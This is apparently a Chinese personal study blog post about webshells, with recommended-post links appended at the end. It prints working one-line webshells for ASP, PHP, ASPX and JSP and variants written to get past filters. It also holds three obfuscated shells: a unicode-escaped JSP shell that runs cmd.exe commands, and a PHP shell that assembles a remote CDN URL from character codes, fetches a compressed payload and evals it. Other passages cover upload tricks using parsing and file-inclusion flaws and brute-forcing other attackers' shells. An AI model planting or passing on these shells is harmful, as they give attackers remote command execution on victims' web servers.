webshell学习
参考文章:
https://www.bilibili.com/video/BV1T4411t7BW?p=14
https://blog.csdn.net/mmmsss987/article/details/90460403
对Webshell一直没有一个清楚的理解,就知道直接写马进去,权限不够在换大马,昨天正好看到了webshell的视频,就写个文章记录一下。
webshell的分类

小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能。
不过中国菜刀留的一句话功能不逊大马的功能。
大马体积比较大 一般50K以上。功能也多,一般都包括提权命令,磁盘管理,数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序。
小马的作用就是为了上传大马进行提权,一般都是小马权限不够,才用小马上传大马提升权限
现在大家普遍使用的就是一句话木马,基本上都是这个,只是稍微有点变形,比如说插入到图片中做成 图片马
一句话木马
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
<%execute request("value")%>
原理:一句话木马分为两部分,一部分是执行函数,一部分是传参方式,(比如说GET,POST,COOKIE 或者REQUEST,,)后面大家所说的密码也就是上一行中的 value ,其实是传参时候接受参数的名称 比如说 xxx.com/xx.php?value= '菜刀传过来的命令'
WAF : 现在的waf拦截基本上都是基于特征匹配,比如说匹配到 execute 或者 eval 函数就拦截
asp一句话木马:
<%eval request("c")%>
php一句话木马:
<?php@eval($_POST[value]);?>
aspx一句话木马:
<%@Page Language="Jscript" %>
<%eval(Request.ltem["value"])%> asp和aspx的区别就是aspx可以直接调用cmd,asp不可以,但是一般waf对aspx的过滤比较严格
jsp一句话
<% if(request. getParameter("f")!=null)(ne w java. io. FileOutputStream(application.getRealPath("/")+request.getParameter("f")))
.write(request. getParameter("t"). getBytes();%>
这个asp,php,jsp都是相对而言的,比如说你一个asp的站点,但是可以对PHP进行解析,你同样可以上传PHP的马,
一句话木马简单变形
waf对eval函数进行了拦截 <?php $_REQUEST['a']($_REQUEST['b']) ; ?> xxx.com/a.php?a=eval&b=phpinfo 这个实际构造的就是 <?php eval(phpinfo); ?> 现在不能绕过了。。
对引号进行了过滤 <?%Eval (Request(chr(112)))%?>
这里需要注意的一点就是 asp加密的一句话
┼攠数畣整爠焕敌瑳∨≡┩忾 密码 a
使用条件:正常情况下, asp网站access数据库文件的后缀名应该为 data.mdb 但是加密之后的数据库 后缀为 data.asp 说明这个数据库是加密的,这时候直接把一句话插入数据库中,比如说注册用户的时候加进去,直接就拿shell
一句话图片马的制作
分类中有篇文章有详细写
最新webshell大合集
https://blog.csdn.net/mmmsss987/article/details/90460403
附上几个过狗的马 时间是 2019.9.18
ASPX
<%@ Page Language="Jscript"%>
<%
var p = Request.Item["M"];
var a = p.substring(0,1);
var b = p.substring(1,99999);
var c = "un" + Char ( 115 ) + Char ( 97 ) + "fe";
eval(a+b,c);
%>
JSP
<%@ page import="java.util.*,java.io.*,java.net.*"%> <%
\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0022\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u003a\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u002b\u0020\u0022\u005c\u006e\u003c\u0042\u0052\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0020\u002f\u0063\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0064\u0069\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0069\u006e\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0020\u0028\u0020\u0064\u0069\u0073\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0064\u0069\u0073\u0072\u0029\u003b\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d
%>
PHP
<?php
$password='haha';//登录密码
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58);
$url.=$c(47).$c(47).$c(97).$c(101).$c(48).$c(49);
$url.=$c(46).$c(97).$c(108).$c(105).$c(99).$c(100);
$url.=$c(110).$c(46).$c(99).$c(111).$c(109).$c(47);
$url.=$c(107).$c(102).$c(47).$c(72).$c(50).$c(53);
$url.=$c(56).$c(49).$c(97).$c(54).$c(99).$c(97).$c(100);
$url.=$c(48).$c(54).$c(49).$c(52).$c(48).$c(53).$c(49);
$url.=$c(57).$c(50).$c(101).$c(100).$c(99).$c(54).$c(101);
$url.=$c(55).$c(102).$c(51).$c(56).$c(55).$c(53).$c(50);
$url.=$c(48).$c(53).$c(78).$c(46).$c(106).$c(112).$c(103);
$get=$c(102).$c(105).$c(108).$c(101).$c(95);
$get.=$c(103).$c(101).$c(116).$c(95).$c(99);
$get.=$c(111).$c(110).$c(116).hex2bin('656E');
$get.=$c(116).$c(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).hex2bin('7465');
@eval($un($_SESSION['PhpCode']));
?>
webshell使用技巧
配合解析漏洞 一般是配合图片马进行上传,(图片马你光上传,不解析也是没有作用的,必须解析才会起到作用)
配合文件包含
利用文件名溢出
看了很多文章,都是在后台管理员界面上传图像或者其它的文件getshell

这个文件包含是什么意思呢?你上传了一个ima.jpg图片马,但是没法运行,你只能在上传一个b.asp文件,让ima.jpg在b.asp中运行,这样就能让图片马正常运行了
需要注意
asp,aspx,php都是可以直接用菜刀连接的,但是jsp不行,jsp的一句话太大,有时候比大马都大,
cracer讲的是 先上传个一句话或者小马,然后在把菜刀目录下customize.jsp中的代码上传?????(应该就是借助小马上传大马)


jsp一般权限比较大,基本上都是最高权限
需要注意
一点的就是,找到了别人的webshell,可以用工具去暴力破解,在cracer的工具包里面有工具。一句话木马用k8的那个工具,大马用图中的webshell这个工具,当然,也可用bp来跑

查找webshell后门
这个就有点坑了,你辛辛苦苦拿下的站,结果被别人,日了
首先他留这个后门目的就是获取你 连接shell的地址和你连接shell的密码
可以参考下这个视频,前几年hack70发布的
https://www.bilibili.com/video/BV1D4411e7WW?p=2
webshell学习的更多相关文章
- 2019-11-7:sql注入防御,webshell概念,学习笔记
sql注入防护GPC,magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post.get.cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特 ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- Msfvenom学习总结-MSF反弹webshell
1. –p (- -payload-options) 添加载荷payload. 载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填 ...
- Compiler Theory(编译原理)、词法/语法/AST/中间代码优化在Webshell检测上的应用
catalog . 引论 . 构建一个编译器的相关科学 . 程序设计语言基础 . 一个简单的语法制导翻译器 . 简单表达式的翻译器(源代码示例) . 词法分析 . 生成中间代码 . 词法分析器的实现 ...
- 高版本正方教务系统上传后缀过滤不严导致能直接上传Webshell
在旧版本中有一个利用插件上传文件的漏洞,但是在新版本中已经没有了这个插件.这个漏洞是由于过滤不严造成的,可以直接上传Webshell进行提权,由于代码在DLL中,全国大部分高校均有此漏洞,影响范围很大 ...
- Deformity PHP Webshell、Webshell Hidden Learning
目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...
- 什么是webshell?
webshell是web入侵的脚本攻击工具. 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中 ...
- 最强黑吃黑:WEBSHELL大马隐藏万能密码大全
因为很多原因,很多新手都不会编写自己的大马,大多数新手都会通过百度去下载对应脚本的大马,然而这些webshell大马都是早期流传出来的,基本上都存在后门,可以通过万能密码登录,即使你修改i过密码了,怎 ...
- 【渗透攻防】千变万化的WebShell
前言WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有 ...
随机推荐
- linux设置共享文件夹 - samba
安装samba sudo apt-get install samba 配置 /etc/samba/smb.conf 的global模块添加security = user 最下加入 [share] pa ...
- JAVA中删除文件夹下及其子文件夹下的某类文件
##定时删除拜访图片 ##cron表达式 秒 分 时 天 月 ? ##每月1日整点执行 CRON1=0 0 0 1 * ? scheduled.enable1=false ##图片路径 filePat ...
- synchronized的底层原理?
最近更新的XX必备系列适合直接背答案,不深究,不喜勿喷. 你能说简单说一下synchronize吗? 可别真简单一句话就说完了呀~ 参考回答: synchronize是java中的关键字,可以用来修饰 ...
- 20191012_WMI中可以看到有打印机, 设备管理器中没有
开发过程中使用SELECT * FROM Win32_Printer 查看设备有一个备份打印机, 并且被设置为默认打印机了, 但是设备管理器中没有 解决方法: 使用系统自带的测试WMI (Windo ...
- navicat连接阿里云ESC里的数据库
1.进入阿里云服务器 ssh 用户名@ip 2.进入数据库 mysql -u root -p 3.设置mysql数据库权限(允许其他服务器连接数据库) grant all privileges on ...
- python实现自动发邮件
Python有两个内置库:smtplib和email,可以实现邮件功能,无需下载,直接import导入. smtplib库负责发送邮件 Email库负责构造邮件格式和内容 邮件发送需要遵守SMTP协议 ...
- 基于vue(element ui) + ssm + shiro 的权限框架
zhcc 基于vue(element ui) + ssm + shiro 的权限框架 引言 心声 现在的Java世界,各种资源很丰富,不得不说,从分布式,服务化,orm,再到前端控制,权限等等玲琅满目 ...
- 第2章 Python编程基础知识目录
第2.1节 简单的Python数据类型.变量赋值及输入输出 第2.2节 Python的语句 第2.3节 Python运算符大全 老猿Python,跟老猿学Python! 博客地址:https://bl ...
- Python中str类型的字符串写入二进制文件时报TypeError错的处理方式
在用二进制模式打开文件情况下,写入一个str对象时报错:TypeError: a bytes-like object is required, not 'str' 出现该问题是因为Python严格区分 ...
- PyQt(Python+Qt)学习随笔:Qt Designer中部件的焦点策略focusPolicy设置
在Qt Designer中可以设置部件的焦点策略,部件的焦点策略属性取值范围由枚举类型Qt.FocusPolicy来定义,该枚举类型及其含义如下表所示: 注意:经老猿测试鼠标轮滚动获取焦点,只有在鼠标 ...